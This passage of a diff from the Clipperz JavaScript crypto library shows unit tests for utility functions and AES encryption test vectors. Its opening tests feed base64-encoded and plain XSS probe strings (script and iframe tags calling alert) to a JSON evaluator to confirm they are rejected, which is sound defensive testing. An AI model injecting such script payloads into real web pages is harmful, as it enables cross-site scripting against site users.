jsonString = new Clipperz.ByteArray().appendBase64String("eyIwIjp7ImxhYmVsIjoiPHNjcmlwdD5hbGVydChcIkNpYW8gTWFyY29cIik8L3NjcmlwdD4iLCAia2V5IjoiZWJjOTc4MjAxOWJmOWFhNzU3ZTljNGQ3MTZhYjMwM2UyMDUwYjYwYzRiOWEwNmIxOGFiMDlhNDE3ZTBkZGYwMCJ9LCAiMSI6eyJsYWJlbCI6IjxpZnJhbWU+PHNjcmlwdD5hbGVydChcIkNpYW8gcmFnYXp6aVwiKTwvc2NyaXB0PjwvaWZyYW1lPiIsICJrZXkiOiI0MTNjZmIxMjJhMTYwMWM1MGUwZjk0NjI5NzhiYTc3YTM2ZmRjZWNiNDlkZGE3NTUwZWUxMjlkYzExNGJhMzI4In19").asString();
|
||||
testEvalJSON(jsonString, false);
|
||||
|
||||
jsonString = 'alert("foobar");';
|
||||
testEvalJSON(jsonString, true);
|
||||
|
||||
// jsonString = '<script>alert("foobar");< /script>';
|
||||
jsonString = new Clipperz.ByteArray().appendBase64String("PHNjcmlwdD5hbGVydCgiZm9vYmFyIik7PC9zY3JpcHQ+").asString();
|
||||
testEvalJSON(jsonString, true);
|
||||
|
||||
jsonString = '{"xss": alert("XSS!")}';
|
||||
testEvalJSON(jsonString, true);
|
||||
|
||||
jsonString = '{"inner": {"xss": alert("XSS!")}}';
|
||||
testEvalJSON(jsonString, true);
|
||||
},
|
||||
|
||||
//-------------------------------------------------------------------------
|
||||
|
||||
'Clipperz.Base.itemgetter_test': function () {
|
||||
var anObject;
|
||||
|
||||
anObject = {
|
||||
key1: 'value1',
|
||||
key2: {
|
||||
key2_1: 'value2_1',
|
||||
key2_2: 'value2_2'
|
||||
},
|
||||
key3: {
|
||||
key3_1: {
|
||||
key3_1_1: 'value3_1_1',
|
||||
key3_1_2: 'value3_1_2'
|
||||
},
|
||||
key3_2: {
|
||||
key3_2_1: 'value3_2_1',
|
||||
key3_2_2: 'value3_2_2'
|
||||
}
|
||||
}
|
||||
};
|
||||
|
||||
SimpleTest.is(Clipperz.Base.itemgetter('key1')(anObject), "value1", "Clipperz.Base.itemgetter works as MochiKit.Base.itemgetter");
|
||||
SimpleTest.is(Clipperz.Base.itemgetter('key2.key2_1')(anObject), "value2_1", "Clipperz.Base.itemgetter works also with keypaths");
|
||||
SimpleTest.is(Clipperz.Base.itemgetter('key3.key3_2.key3_2_2')(anObject), "value3_2_2", "Clipperz.Base.itemgetter works also with 'long' keypaths");
|
||||
},
|
||||
|
||||
//-------------------------------------------------------------------------
|
||||
|
||||
'Clipperz.Base.caseInsensitiveCompare_test': function () {
|
||||
var comparator;
|
||||
var objects;
|
||||
|
||||
comparator = Clipperz.Base.caseInsensitiveCompare;
|
||||
objects = [ 'ccc', 'aaa', 'bbb', 'eee', 'ddd'];
|
||||
SimpleTest.isDeeply(['aaa', 'bbb', 'ccc', 'ddd', 'eee'], objects.sort(comparator), "caseInsensitiveCompare works with all lowercase values");
|
||||
|
||||
comparator = MochiKit.Base.compare;
|
||||
objects = [ 'ccc', 'AAA', 'bbb', 'EEE', 'ddd'];
|
||||
SimpleTest.isDeeply(['AAA', 'EEE', 'bbb', 'ccc', 'ddd'], objects.sort(comparator), "caseInsensitiveCompare works with all lowercase values");
|
||||
|
||||
comparator = Clipperz.Base.caseInsensitiveCompare;
|
||||
objects = [ 'ccc', 'AAA', 'bbb', 'EEE', 'ddd'];
|
||||
SimpleTest.isDeeply(['AAA', 'bbb', 'ccc', 'ddd', 'EEE'], objects.sort(comparator), "caseInsensitiveCompare works with all lowercase values");
|
||||
},
|
||||
|
||||
//-------------------------------------------------------------------------
|
||||
|
||||
'Clipperz.Base.reverseComparator_test': function () {
|
||||
var comparator;
|
||||
var objects;
|
||||
|
||||
comparator = MochiKit.Base.compare;
|
||||
objects = [5, 3, 2, 4, 1];
|
||||
SimpleTest.isDeeply([1, 2, 3, 4, 5], objects.sort(comparator), "a regular comparator works fine");
|
||||
|
||||
comparator = Clipperz.Base.reverseComparator(MochiKit.Base.compare);
|
||||
objects = [5, 3, 2, 4, 1];
|
||||
SimpleTest.isDeeply([5, 4, 3, 2 ,1], objects.sort(comparator), "a reversed comparator works fine");
|
||||
|
||||
comparator = MochiKit.Base.keyComparator('label');
|
||||
objects = [ {label:"5"}, {label:"3"}, {label:"1"}, {label:"4"}, {label:"2"}];
|
||||
SimpleTest.isDeeply([ {label:"1"}, {label:"2"}, {label:"3"}, {label:"4"}, {label:"5"}], objects.sort(comparator), "a regular keyComparator works fine");
|
||||
|
||||
comparator = Clipperz.Base.reverseComparator(MochiKit.Base.keyComparator('label'));
|
||||
objects = [ {label:"5"}, {label:"3"}, {label:"1"}, {label:"4"}, {label:"2"}];
|
||||
SimpleTest.isDeeply([ {label:"5"}, {label:"4"}, {label:"3"}, {label:"2"}, {label:"1"}], objects.sort(comparator), "a reversed keyComparator works fine");
|
||||
},
|
||||
|
||||
//-------------------------------------------------------------------------
|
||||
|
||||
'Clipperz.Base.map_test': function () {
|
||||
var objects;
|
||||
var computedObjecs;
|
||||
|
||||
objects = [5, 3, 2, 4, 1];
|
||||
computedObjecs = Clipperz.Base.map(function (aValue) { return aValue * 2;}, objects);
|
||||
SimpleTest.isDeeply(computedObjecs, [10, 6, 4, 8, 2], "the mapped values of the array do match");
|
||||
|
||||
objects = {
|
||||
'five': 5,
|
||||
'three': 3,
|
||||
'two': 2,
|
||||
'four': 4,
|
||||
'one': 1
|
||||
};
|
||||
computedObjecs = Clipperz.Base.map(function (aValue) { return aValue * 2;}, objects);
|
||||
SimpleTest.isDeeply(computedObjecs, {
|
||||
'five': 10,
|
||||
'three': 6,
|
||||
'two': 4,
|
||||
'four': 8,
|
||||
'one': 2
|
||||
}, "the mapped values of the object do match");
|
||||
},
|
||||
|
||||
//-------------------------------------------------------------------------
|
||||
|
||||
'Clipperz.Base.isUrl_test': function () {
|
||||
var urlTestCases;
|
||||
|
||||
urlTestCases = [
|
||||
{url:'http://foo.com/blah_blah', expectedResult:true},
|
||||
{url:'http://foo.com/blah_blah', expectedResult:true},
|
||||
{url:'http://foo.com/blah_blah/', expectedResult:true},
|
||||
{url:'http://foo.com/blah_blah_(wikipedia)', expectedResult:true},
|
||||
{url:'http://foo.com/blah_blah.', expectedResult:true},
|
||||
{url:'http://foo.com/blah_blah/.', expectedResult:true},
|
||||
{url:'http://foo.com/blah_blah,', expectedResult:true},
|
||||
{url:'http://✪df.ws/123', expectedResult:true},
|
||||
{url:'http://➡.ws/䨹', expectedResult:true},
|
||||
{url:'www.➡.ws/䨹', expectedResult:true},
|
||||
{url:'http://www.example.com/wpstyle/?p=364.', expectedResult:true},
|
||||
{url:'www.clipperz.com', expectedResult:true},
|
||||
{url:'http://www.clipperz.com', expectedResult:true},
|
||||
{url:'http://clipperz.com', expectedResult:true},
|
||||
|
||||
{url:'clipperz.com', expectedResult:false},
|
||||
// {url:'www.clipperz', expectedResult:false},
|
||||
// {url:'www.abc', expectedResult:false},
|
||||
{url:'joe@clipperz.com', expectedResult:false},
|
||||
{url:'<http://foo.com/blah_blah>', expectedResult:false},
|
||||
{url:'<http://foo.com/blah_blah/>', expectedResult:false},
|
||||
{}
|
||||
];
|
||||
|
||||
MochiKit.Base.map(function (someValues) {
|
||||
if (typeof(someValues['url']) != 'undefined') {
|
||||
SimpleTest.is(Clipperz.Base.isUrl(someValues['url']), someValues['expectedResult'], "testing url '" + someValues['url'] + "' - expected result: " + someValues['expectedResult']);
|
||||
}
|
||||
}, urlTestCases);
|
||||
|
||||
/*
|
||||
// RegExp and test strings courtesy of John Gruber: http://daringfireball.net/2009/11/liberal_regex_for_matching_urls
|
||||
SimpleTest.is(Clipperz.Base.isUrl('http://foo.com/blah_blah'), true, "url test +1");
|
||||
SimpleTest.is(Clipperz.Base.isUrl('http://foo.com/blah_blah/'), true, "url test +2");
|
||||
SimpleTest.is(Clipperz.Base.isUrl('http://foo.com/blah_blah_(wikipedia)'), true, "url test +3");
|
||||
SimpleTest.is(Clipperz.Base.isUrl('http://foo.com/blah_blah.'), true, "url test +4");
|
||||
SimpleTest.is(Clipperz.Base.isUrl('http://foo.com/blah_blah/.'), true, "url test +5");
|
||||
SimpleTest.is(Clipperz.Base.isUrl('<http://foo.com/blah_blah>'), true, "url test +6");
|
||||
SimpleTest.is(Clipperz.Base.isUrl('<http://foo.com/blah_blah/>'), true, "url test +7");
|
||||
SimpleTest.is(Clipperz.Base.isUrl('http://foo.com/blah_blah,'), true, "url test +8");
|
||||
SimpleTest.is(Clipperz.Base.isUrl('http://✪df.ws/123'), true, "url test +9");
|
||||
SimpleTest.is(Clipperz.Base.isUrl('http://➡.ws/䨹'), true, "url test +10");
|
||||
SimpleTest.is(Clipperz.Base.isUrl('www.➡.ws/䨹'), true, "url test +11");
|
||||
SimpleTest.is(Clipperz.Base.isUrl('http://www.example.com/wpstyle/?p=364.'),true, "url test +12");
|
||||
SimpleTest.is(Clipperz.Base.isUrl('www.clipperz.com'), true, "url test +13");
|
||||
SimpleTest.is(Clipperz.Base.isUrl('http://www.clipperz.com'), true, "url test +14");
|
||||
|
||||
// SimpleTest.is(Clipperz.Base.isUrl('http://userid@example.com'), true, "url test +13"); // FAIL
|
||||
// SimpleTest.is(Clipperz.Base.isUrl('http://userid@example.com:8080'), true, "url test +14"); // FAIL
|
||||
// SimpleTest.is(Clipperz.Base.isUrl('http://userid:password@example.com'), true, "url test +15"); // FAIL
|
||||
// SimpleTest.is(Clipperz.Base.isUrl('http://userid:password@example.com:8080'), true, "url test +16"); // FAIL
|
||||
|
||||
|
||||
SimpleTest.is(Clipperz.Base.isUrl('joe@clipperz.com'), false, "url test -1");
|
||||
SimpleTest.is(Clipperz.Base.isUrl('rdar://1234'), false, "url test -2");
|
||||
SimpleTest.is(Clipperz.Base.isUrl('rdar:/1234'), false, "url test -3");
|
||||
SimpleTest.is(Clipperz.Base.isUrl('http://example.com:8080 x-yojimbo-item://6303E4C1-xxxx-45A6-AB9D-3A908F59AE0E'), false, "url test -4");
|
||||
SimpleTest.is(Clipperz.Base.isUrl('message://%3c330e7f8409726r6a4ba78dkf1fd71420c1bf6ff@mail.gmail.com%3e'), false, "url test -5");
|
||||
*/
|
||||
},
|
||||
|
||||
//-------------------------------------------------------------------------
|
||||
|
||||
'Clipperz.Base.isEmail_test': function () {
|
||||
var emailTestCases;
|
||||
|
||||
emailTestCases = [
|
||||
{email:'joe@clipperz.com', expectedResult:true},
|
||||
|
||||
{email:'http://foo.com/blah_blah', expectedResult:false}
|
||||
];
|
||||
|
||||
MochiKit.Base.map(function (someValues) {
|
||||
SimpleTest.is(Clipperz.Base.isEmail(someValues['email']), someValues['expectedResult'], "testing email '" + someValues['email'] + "' - expected result: " + someValues['expectedResult']);
|
||||
}, emailTestCases);
|
||||
},
|
||||
|
||||
//-------------------------------------------------------------------------
|
||||
|
||||
'syntaxFix': MochiKit.Base.noop
|
||||
}
|
||||
|
||||
//=============================================================================
|
||||
|
||||
SimpleTest.runDeferredTests("Clipperz.Base", tests, {trace:false});
|
||||
71
frontend/gamma/tests/tests/Clipperz/ByteArray.html
Normal file
893
frontend/gamma/tests/tests/Clipperz/ByteArray.test.js
Normal file
292
frontend/gamma/tests/tests/Clipperz/Crypto/AES.html
Normal file
@@ -0,0 +1,292 @@
|
||||
<!--
|
||||
|
||||
Copyright 2008-2011 Clipperz Srl
|
||||
|
||||
This file is part of Clipperz's Javascript Crypto Library.
|
||||
Javascript Crypto Library provides web developers with an extensive
|
||||
and efficient set of cryptographic functions. The library aims to
|
||||
obtain maximum execution speed while preserving modularity and
|
||||
reusability.
|
||||
For further information about its features and functionalities please
|
||||
refer to http://www.clipperz.com
|
||||
|
||||
* Javascript Crypto Library is free software: you can redistribute
|
||||
it and/or modify it under the terms of the GNU Affero General Public
|
||||
License as published by the Free Software Foundation, either version
|
||||
3 of the License, or (at your option) any later version.
|
||||
|
||||
* Javascript Crypto Library is distributed in the hope that it will
|
||||
be useful, but WITHOUT ANY WARRANTY; without even the implied
|
||||
warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.
|
||||
See the GNU Affero General Public License for more details.
|
||||
|
||||
* You should have received a copy of the GNU Affero General Public
|
||||
License along with Javascript Crypto Library. If not, see
|
||||
<http://www.gnu.org/licenses/>.
|
||||
|
||||
-->
|
||||
|
||||
<html>
|
||||
<head>
|
||||
<title>Clipperz.Crypto.AES_v3 - TEST</title>
|
||||
|
||||
<script type="text/javascript" src="../../../../js/MochiKit/MochiKit.js"></script>
|
||||
<script type="text/javascript" src="../../../../js/JSLog/jslog.js"></script>
|
||||
<script type="text/javascript" src="../../../SimpleTest/SimpleTest.js"></script>
|
||||
<link rel="stylesheet" type="text/css" href="../../../SimpleTest/test.css">
|
||||
|
||||
<script type='text/javascript' src='../../../../js/JSON/json2.js'></script>
|
||||
|
||||
<script type='text/javascript' src='../../../../js/Clipperz/YUI/Utils.js'></script>
|
||||
<script type='text/javascript' src='../../../../js/Clipperz/YUI/DomHelper.js'></script>
|
||||
<script type='text/javascript' src='../../../../js/Clipperz/Base.js'></script>
|
||||
<script type='text/javascript' src='../../../../js/Clipperz/ByteArray.js'></script>
|
||||
|
||||
<script type='text/javascript' src='../../../../js/Clipperz/Crypto/SHA.js'></script>
|
||||
<script type='text/javascript' src='../../../../js/Clipperz/Crypto/AES.js'></script>
|
||||
|
||||
</head>
|
||||
<body>
|
||||
<pre id="test">
|
||||
<script type="text/javascript">
|
||||
|
||||
try {
|
||||
var block;
|
||||
var keyValue;
|
||||
var key;
|
||||
var encryptedBlock;
|
||||
var startTime, endTime;
|
||||
|
||||
startTime = new Date();
|
||||
|
||||
keyValue = new Clipperz.ByteArray("0x00010203050607080a0b0c0d0f10111214151617191a1b1c1e1f202123242526");
|
||||
key = new Clipperz.Crypto.AES.Key({key:keyValue});
|
||||
block = new Clipperz.ByteArray("0x834eadfccac7e1b30664b1aba44815ab");
|
||||
encryptedBlock = new Clipperz.ByteArray(Clipperz.Crypto.AES.encryptBlock(key, block.arrayValues()));
|
||||
is(encryptedBlock.toHexString(), "0x1946dabf6a03a2a2c3d0b05080aed6fc", "Test 1");
|
||||
|
||||
keyValue = new Clipperz.ByteArray("0x28292a2b2d2e2f30323334353738393a3c3d3e3f41424344464748494b4c4d4e");
|
||||
key = new Clipperz.Crypto.AES.Key({key:keyValue});
|
||||
block = new Clipperz.ByteArray("0xd9dc4dba3021b05d67c0518f72b62bf1");
|
||||
encryptedBlock = new Clipperz.ByteArray(Clipperz.Crypto.AES.encryptBlock(key, block.arrayValues()));
|
||||
is(encryptedBlock.toHexString(), "0x5ed301d747d3cc715445ebdec62f2fb4", "Test 2");
|
||||
|
||||
keyValue = new Clipperz.ByteArray("0x50515253555657585a5b5c5d5f60616264656667696a6b6c6e6f707173747576");
|
||||
key = new Clipperz.Crypto.AES.Key({key:keyValue});
|
||||
block = new Clipperz.ByteArray("0xa291d86301a4a739f7392173aa3c604c");
|
||||
encryptedBlock = new Clipperz.ByteArray(Clipperz.Crypto.AES.encryptBlock(key, block.arrayValues()));
|
||||
is(encryptedBlock.toHexString(), "0x6585c8f43d13a6beab6419fc5935b9d0", "Test 3");
|
||||
|
||||
keyValue = new Clipperz.ByteArray("0x78797a7b7d7e7f80828384858788898a8c8d8e8f91929394969798999b9c9d9e");
|
||||
key = new Clipperz.Crypto.AES.Key({key:keyValue});
|
||||
block = new Clipperz.ByteArray("0x4264b2696498de4df79788a9f83e9390");
|
||||
encryptedBlock = new Clipperz.ByteArray(Clipperz.Crypto.AES.encryptBlock(key, block.arrayValues()));
|
||||
is(encryptedBlock.toHexString(), "0x2a5b56a596680fcc0e05f5e0f151ecae", "Test 4");
|
||||
|
||||
keyValue = new Clipperz.ByteArray("0xa0a1a2a3a5a6a7a8aaabacadafb0b1b2b4b5b6b7b9babbbcbebfc0c1c3c4c5c6");
|
||||
key = new Clipperz.Crypto.AES.Key({key:keyValue});
|
||||
block = new Clipperz.ByteArray("0xee9932b3721804d5a83ef5949245b6f6");
|
||||
encryptedBlock = new Clipperz.ByteArray(Clipperz.Crypto.AES.encryptBlock(key, block.arrayValues()));
|
||||
is(encryptedBlock.toHexString(), "0xf5d6ff414fd2c6181494d20c37f2b8c4", "Test 5");
|
||||
|
||||
keyValue = new Clipperz.ByteArray("0xc8c9cacbcdcecfd0d2d3d4d5d7d8d9dadcdddedfe1e2e3e4e6e7e8e9ebecedee");
|
||||
key = new Clipperz.Crypto.AES.Key({key:keyValue});
|
||||
block = new Clipperz.ByteArray("0xe6248f55c5fdcbca9cbbb01c88a2ea77");
|
||||
encryptedBlock = new Clipperz.ByteArray(Clipperz.Crypto.AES.encryptBlock(key, block.arrayValues()));
|
||||
is(encryptedBlock.toHexString(), "0x85399c01f59fffb5204f19f8482f00b8", "Test 6");
|
||||
|
||||
keyValue = new Clipperz.ByteArray("0xf0f1f2f3f5f6f7f8fafbfcfdfe01000204050607090a0b0c0e0f101113141516");
|
||||
key = new Clipperz.Crypto.AES.Key({key:keyValue});
|
||||
block = new Clipperz.ByteArray("0xb8358e41b9dff65fd461d55a99266247");
|
||||
encryptedBlock = new Clipperz.ByteArray(Clipperz.Crypto.AES.encryptBlock(key, block.arrayValues()));
|
||||
is(encryptedBlock.toHexString(), "0x92097b4c88a041ddf98144bc8d22e8e7", "Test 7");
|
||||
|
||||
keyValue = new Clipperz.ByteArray("0x18191a1b1d1e1f20222324252728292a2c2d2e2f31323334363738393b3c3d3e");
|
||||
key = new Clipperz.Crypto.AES.Key({key:keyValue});
|
||||
block = new Clipperz.ByteArray("0xf0e2d72260af58e21e015ab3a4c0d906");
|
||||
encryptedBlock = new Clipperz.ByteArray(Clipperz.Crypto.AES.encryptBlock(key, block.arrayValues()));
|
||||
is(encryptedBlock.toHexString(), "0x89bd5b73b356ab412aef9f76cea2d65c", "Test 8");
|
||||
|
||||
keyValue = new Clipperz.ByteArray("0x40414243454647484a4b4c4d4f50515254555657595a5b5c5e5f606163646566");
|
||||
key = new Clipperz.Crypto.AES.Key({key:keyValue});
|
||||
block = new Clipperz.ByteArray("0x475b8b823ce8893db3c44a9f2a379ff7");
|
||||
encryptedBlock = new Clipperz.ByteArray(Clipperz.Crypto.AES.encryptBlock(key, block.arrayValues()));
|
||||
is(encryptedBlock.toHexString(), "0x2536969093c55ff9454692f2fac2f530", "Test 9");
|
||||
|
||||
keyValue = new Clipperz.ByteArray("0x68696a6b6d6e6f70727374757778797a7c7d7e7f81828384868788898b8c8d8e");
|
||||
key = new Clipperz.Crypto.AES.Key({key:keyValue});
|
||||
block = new Clipperz.ByteArray("0x688f5281945812862f5f3076cf80412f");
|
||||
encryptedBlock = new Clipperz.ByteArray(Clipperz.Crypto.AES.encryptBlock(key, block.arrayValues()));
|
||||
is(encryptedBlock.toHexString(), "0x07fc76a872843f3f6e0081ee9396d637", "Test 10");
|
||||
|
||||
//-------------------------------------------------------------------------
|
||||
//
|
||||
// Key expansion
|
||||
//
|
||||
//-------------------------------------------------------------------------
|
||||
// test vector: http://en.wikipedia.org/wiki/Rijndael_key_schedule#Test_vectors
|
||||
|
||||
keyValue = new Clipperz.ByteArray("0x0000000000000000000000000000000012345678");
|
||||
try {
|
||||
key = new Clipperz.Crypto.AES.Key({key:keyValue});
|
||||
is(true, false, "Unsupported key size");
|
||||
} catch (exception) {
|
||||
is(true, true, "Unsupported key size");
|
||||
}
|
||||
|
||||
keyValue = new Clipperz.ByteArray("0x00000000000000000000000000000000");
|
||||
key = new Clipperz.Crypto.AES.Key({key:keyValue});
|
||||
is( key.stretchedKey().toHexString(),
|
||||
"0x" + "00000000000000000000000000000000" +
|
||||
"62636363626363636263636362636363" +
|
||||
"9b9898c9f9fbfbaa9b9898c9f9fbfbaa" +
|
||||
"90973450696ccffaf2f457330b0fac99" +
|
||||
"ee06da7b876a1581759e42b27e91ee2b" +
|
||||
"7f2e2b88f8443e098dda7cbbf34b9290" +
|
||||
"ec614b851425758c99ff09376ab49ba7" +
|
||||
"217517873550620bacaf6b3cc61bf09b" +
|
||||
"0ef903333ba9613897060a04511dfa9f" +
|
||||
"b1d4d8e28a7db9da1d7bb3de4c664941" +
|
||||
"b4ef5bcb3e92e21123e951cf6f8f188e",
|
||||
"Stretched empty key");
|
||||
|
||||
|
||||
keyValue = new Clipperz.ByteArray("0x0000000000000000000000000000000000000000000000000000000000000000");
|
||||
key = new Clipperz.Crypto.AES.Key({key:keyValue});
|
||||
is( key.stretchedKey().toHexString(),
|
||||
"0x" + "00000000000000000000000000000000" +
|
||||
"00000000000000000000000000000000" +
|
||||
"62636363626363636263636362636363" +
|
||||
"aafbfbfbaafbfbfbaafbfbfbaafbfbfb" +
|
||||
"6f6c6ccf0d0f0fac6f6c6ccf0d0f0fac" +
|
||||
"7d8d8d6ad77676917d8d8d6ad7767691" +
|
||||
"5354edc15e5be26d31378ea23c38810e" +
|
||||
"968a81c141fcf7503c717a3aeb070cab" +
|
||||
"9eaa8f28c0f16d45f1c6e3e7cdfe62e9" +
|
||||
"2b312bdf6acddc8f56bca6b5bdbbaa1e" +
|
||||
"6406fd52a4f79017553173f098cf1119" +
|
||||
"6dbba90b0776758451cad331ec71792f" +
|
||||
"e7b0e89c4347788b16760b7b8eb91a62" +
|
||||
"74ed0ba1739b7e252251ad14ce20d43b" +
|
||||
"10f80a1753bf729c45c979e7cb706385",
|
||||
"Stretched empty key");
|
||||
|
||||
var roundIndex;
|
||||
|
||||
roundIndex = 0;
|
||||
is(key.stretchedKey().split(roundIndex*16, roundIndex*16 + 16).toHexString(), "0x00000000000000000000000000000000", "empty key, subKeyAtRound(0)");
|
||||
roundIndex = 1;
|
||||
is(key.stretchedKey().split(roundIndex*16, roundIndex*16 + 16).toHexString(), "0x00000000000000000000000000000000", "empty key, subKeyAtRound(1)");
|
||||
roundIndex = 2;
|
||||
is(key.stretchedKey().split(roundIndex*16, roundIndex*16 + 16).toHexString(), "0x62636363626363636263636362636363", "empty key, subKeyAtRound(2)");
|
||||
roundIndex = 3;
|
||||
is(key.stretchedKey().split(roundIndex*16, roundIndex*16 + 16).toHexString(), "0xaafbfbfbaafbfbfbaafbfbfbaafbfbfb", "empty key, subKeyAtRound(3)");
|
||||
roundIndex = 4;
|
||||
is(key.stretchedKey().split(roundIndex*16, roundIndex*16 + 16).toHexString(), "0x6f6c6ccf0d0f0fac6f6c6ccf0d0f0fac", "empty key, subKeyAtRound(4)");
|
||||
roundIndex = 5;
|
||||
is(key.stretchedKey().split(roundIndex*16, roundIndex*16 + 16).toHexString(), "0x7d8d8d6ad77676917d8d8d6ad7767691", "empty key, subKeyAtRound(5)");
|
||||
roundIndex = 6;
|
||||
is(key.stretchedKey().split(roundIndex*16, roundIndex*16 + 16).toHexString(), "0x5354edc15e5be26d31378ea23c38810e", "empty key, subKeyAtRound(6)");
|
||||
roundIndex = 7;
|
||||
is(key.stretchedKey().split(roundIndex*16, roundIndex*16 + 16).toHexString(), "0x968a81c141fcf7503c717a3aeb070cab", "empty key, subKeyAtRound(7)");
|
||||
roundIndex = 8;
|
||||
is(key.stretchedKey().split(roundIndex*16, roundIndex*16 + 16).toHexString(), "0x9eaa8f28c0f16d45f1c6e3e7cdfe62e9", "empty key, subKeyAtRound(8)");
|
||||
roundIndex = 9;
|
||||
is(key.stretchedKey().split(roundIndex*16, roundIndex*16 + 16).toHexString(), "0x2b312bdf6acddc8f56bca6b5bdbbaa1e", "empty key, subKeyAtRound(9)");
|
||||
roundIndex = 10;
|
||||
is(key.stretchedKey().split(roundIndex*16, roundIndex*16 + 16).toHexString(), "0x6406fd52a4f79017553173f098cf1119", "empty key, subKeyAtRound(10)");
|
||||
roundIndex = 11;
|
||||
is(key.stretchedKey().split(roundIndex*16, roundIndex*16 + 16).toHexString(), "0x6dbba90b0776758451cad331ec71792f", "empty key, subKeyAtRound(11)");
|
||||
roundIndex = 12;
|
||||
is(key.stretchedKey().split(roundIndex*16, roundIndex*16 + 16).toHexString(), "0xe7b0e89c4347788b16760b7b8eb91a62", "empty key, subKeyAtRound(12)");
|
||||
roundIndex = 13;
|
||||
is(key.stretchedKey().split(roundIndex*16, roundIndex*16 + 16).toHexString(), "0x74ed0ba1739b7e252251ad14ce20d43b", "empty key, subKeyAtRound(13)");
|
||||
roundIndex = 14;
|
||||
is(key.stretchedKey().split(roundIndex*16, roundIndex*16 + 16).toHexString(), "0x10f80a1753bf729c45c979e7cb706385", "empty key, subKeyAtRound(14)");
|
||||
|
||||
|
||||
//-------------------------------------------------------------------------
|
||||
//
|
||||
// Encrypt / decrypt
|
||||
//
|
||||
//-------------------------------------------------------------------------
|
||||
// Test vectors: http://www.zvon.org/tmRFC/RFC3686/Output/chapter6.html
|
||||
// http://www.cs.utsa.edu/~wagner/laws/AEStestRuns.html
|
||||
// http://www.ietf.org/rfc/rfc3686.txt
|
||||
|
||||
{
|
||||
//
|
||||
// http://www.cs.utsa.edu/~wagner/laws/AEStestRuns.html
|
||||
//
|
||||
var key;
|
||||
var plainText;
|
||||
var cipherText;
|
||||
var result;
|
||||
|
||||
//
|
||||
// 256-bit key size
|
||||
//
|
||||
|
||||
// Gladman's Test Data, 256-bit key - encrypt
|
||||
key = new Clipperz.ByteArray("0x2b7e151628aed2a6abf7158809cf4f3c762e7160f38b4da56a784d9045190cfe", 16);
|
||||
plainText = new Clipperz.ByteArray("0x3243f6a8885a308d313198a2e0370734", 16);
|
||||
cipherText = new Clipperz.ByteArray("0x1a6e6c2c662e7da6501ffb62bc9e93f3", 16);
|
||||
|
||||
result = new Clipperz.ByteArray(Clipperz.Crypto.AES.encryptBlock(new Clipperz.Crypto.AES.Key({key:key}), plainText.arrayValues()));
|
||||
is(result.toHexString(), cipherText.toHexString(), "Gladman's Test Data, 256-bit key - encrypt");
|
||||
|
||||
// AES Specification Test Data, 256-bit key - encrypt
|
||||
key = new Clipperz.ByteArray("0x000102030405060708090a0b0c0d0e0f101112131415161718191a1b1c1d1e1f", 16);
|
||||
plainText = new Clipperz.ByteArray("0x00112233445566778899aabbccddeeff", 16);
|
||||
cipherText = new Clipperz.ByteArray("0x8ea2b7ca516745bfeafc49904b496089", 16);
|
||||
|
||||
result = new Clipperz.ByteArray(Clipperz.Crypto.AES.encryptBlock(new Clipperz.Crypto.AES.Key({key:key}), plainText.arrayValues()));
|
||||
is(result.toHexString(), cipherText.toHexString(), "AES Specification Test Data, 256-bit key - encrypt");
|
||||
|
||||
//
|
||||
// 128-bit key size
|
||||
//
|
||||
|
||||
// Gladman's Test Data, 128-bit key - encrypt
|
||||
key = new Clipperz.ByteArray("0x2b7e151628aed2a6abf7158809cf4f3c", 16);
|
||||
plainText = new Clipperz.ByteArray("0x3243f6a8885a308d313198a2e0370734", 16);
|
||||
cipherText = new Clipperz.ByteArray("0x3925841d02dc09fbdc118597196a0b32", 16);
|
||||
|
||||
result = new Clipperz.ByteArray(Clipperz.Crypto.AES.encryptBlock(new Clipperz.Crypto.AES.Key({key:key}), plainText.arrayValues()));
|
||||
is(result.toHexString(), cipherText.toHexString(), "Gladman's Test Data, 128-bit key - encrypt");
|
||||
|
||||
// AES Specification Test Data, 128-bit key - encrypt
|
||||
key = new Clipperz.ByteArray("0x000102030405060708090a0b0c0d0e0f", 16);
|
||||
plainText = new Clipperz.ByteArray("0x00112233445566778899aabbccddeeff", 16);
|
||||
cipherText = new Clipperz.ByteArray("0x69c4e0d86a7b0430d8cdb78070b4c55a", 16);
|
||||
|
||||
result = new Clipperz.ByteArray(Clipperz.Crypto.AES.encryptBlock(new Clipperz.Crypto.AES.Key({key:key}), plainText.arrayValues()));
|
||||
is(result.toHexString(), cipherText.toHexString(), "AES Specification Test Data, 128-bit key - encrypt");
|
||||
|
||||
}
|
||||
|
||||
|
||||
endTime = new Date();
|
||||
MochiKit.Logging.logDebug("elapsed time: " + (endTime - startTime));
|
||||
|
||||
//#############################################################################
|
||||
|
||||
} catch (err) {
|
||||
|
||||
var s = "test suite failure!\n";
|
||||
var o = {};
|
||||
var k = null;
|
||||
for (k in err) {
|
||||
// ensure unique keys?!
|
||||
if (!o[k]) {
|
||||
s += k + ": " + err[k] + "\n";
|
||||
o[k] = err[k];
|
||||
}
|
||||
}
|
||||
ok ( false, s );
|
||||
}
|
||||
|
||||
</script>
|
||||
</pre>
|
||||
</body>
|
||||
</html>
|
||||
344
frontend/gamma/tests/tests/Clipperz/Crypto/AES.performance.html
Normal file
428
frontend/gamma/tests/tests/Clipperz/Crypto/Base.html
Normal file
@@ -0,0 +1,428 @@
|
||||
<!--
|
||||
|
||||
Copyright 2008-2011 Clipperz Srl
|
||||
|
||||
This file is part of Clipperz's Javascript Crypto Library.
|
||||
Javascript Crypto Library provides web developers with an extensive
|
||||
and efficient set of cryptographic functions. The library aims to
|
||||
obtain maximum execution speed while preserving modularity and
|
||||
reusability.
|
||||
For further information about its features and functionalities please
|
||||
refer to http://www.clipperz.com
|
||||
|
||||
* Javascript Crypto Library is free software: you can redistribute
|
||||
it and/or modify it under the terms of the GNU Affero General Public
|
||||
License as published by the Free Software Foundation, either version
|
||||
3 of the License, or (at your option) any later version.
|
||||
|
||||
* Javascript Crypto Library is distributed in the hope that it will
|
||||
be useful, but WITHOUT ANY WARRANTY; without even the implied
|
||||
warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.
|
||||
See the GNU Affero General Public License for more details.
|
||||
|
||||
* You should have received a copy of the GNU Affero General Public
|
||||
License along with Javascript Crypto Library. If not, see
|
||||
<http://www.gnu.org/licenses/>.
|
||||
|
||||
-->
|
||||
|
||||
<html>
|
||||
<head>
|
||||
<script type="text/javascript" src="../../../../js/MochiKit/MochiKit.js"></script>
|
||||
